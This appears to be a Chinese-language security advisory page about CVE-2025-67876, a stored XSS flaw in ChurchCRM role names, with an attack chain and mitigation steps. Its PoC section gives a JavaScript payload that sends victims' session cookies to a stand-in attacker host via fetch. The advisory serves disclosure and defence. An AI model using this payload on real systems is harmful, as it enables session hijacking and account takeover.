IPBUF安全漏洞报告
English
CVE-2025-67876 CVSS 5.4 中危

CVE-2025-67876 ChurchCRM存储型XSS漏洞可导致账户接管

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-67876
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
ChurchCRM

相关标签

存储型XSSChurchCRM会话劫持账户接管CVE-2025-67876Web安全教会管理系统

漏洞概述

ChurchCRM是一款开源的教会管理系统。2025年12月披露的安全漏洞显示,ChurchCRM 6.4.0及之前版本存在严重的存储型跨站脚本(Stored XSS)漏洞。该漏洞允许拥有"Manage Groups"(管理组)权限的低权限用户在组角色名称中注入恶意JavaScript代码。由于payload直接存储在数据库中,当任何用户(包括管理员)访问GroupView.php或PersonView.php等显示该角色信息的页面时,恶意脚本会自动执行。攻击者可利用此漏洞实现完整的会话劫持和账户接管,进而在受害者浏览器中执行任意操作。截至披露时,官方尚未发布修复版本。

技术细节

该漏洞属于存储型XSS(Persistent XSS)类型,攻击流程如下:1)攻击者登录ChurchCRM系统并获取"Manage Groups"权限;2)创建或编辑组角色,在角色名称字段中注入恶意JavaScript payload(如<img src=x onerror=alert(document.cookie)>);3)Payload被保存到数据库的组角色表中;4)当其他用户访问GroupView.php或PersonView.php等页面时,系统从数据库读取角色名称并直接输出到HTML页面,未进行适当的输入验证和输出编码;5)恶意脚本在受害者浏览器中执行,可窃取会话Cookie、进行CSRF攻击或修改页面内容。漏洞根源在于系统对用户输入的角色名称缺乏严格的输入验证,以及在输出时未进行HTML实体编码。攻击者利用此漏洞可绕过同源策略限制,实现完整的账户 takeover。

攻击链分析

STEP 1
步骤1
攻击者获取ChurchCRM账户并获得"Manage Groups"权限
STEP 2
步骤2
攻击者访问组管理功能,创建或编辑组角色
STEP 3
步骤3
在角色名称字段注入恶意JavaScript payload(如<img src=x onerror=...>)
STEP 4
步骤4
Payload被持久化存储到数据库的组角色表中
STEP 5
步骤5
受害者(管理员或其他用户)访问GroupView.php或PersonView.php等页面
STEP 6
步骤6
系统从数据库读取角色名称,未进行输出编码直接渲染到HTML
STEP 7
步骤7
恶意JavaScript在受害者浏览器中执行,窃取会话Cookie或执行其他恶意操作
STEP 8
步骤8
攻击者利用窃取的会话实现账户接管或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// ChurchCRM Stored XSS PoC - CVE-2025-67876 // Target: ChurchCRM <= 6.4.0 // Step 1: Login with user having 'Manage Groups' permission const loginEndpoint = 'http://target-churchcrm/api/user/login'; const credentials = { username: 'attacker_user', password: 'password123' }; // Step 2: Create malicious group role with XSS payload const createRolePayload = { groupId: 1, roleName: '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">', description: 'XSS Payload in Role Name' }; // Step 3: Send request to create/update role fetch('http://target-churchcrm/api/group/role', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Cookie': sessionCookie }, body: JSON.stringify(createRolePayload) }); // Step 4: Wait for victim to visit GroupView.php or PersonView.php // Cookie will be exfiltrated automatically when page renders the role name

影响范围

ChurchCRM <= 6.4.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时措施:1)限制"Manage Groups"权限的分配,仅授予绝对必要的用户;2)审查现有组角色数据,清除可疑的XSS payload;3)实施严格的输入验证规则,禁止角色名称中包含HTML标签和特殊字符;4)添加WAF规则检测和阻止XSS攻击特征;5)监控应用日志中的异常请求模式;6)考虑临时禁用组管理功能直到漏洞修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表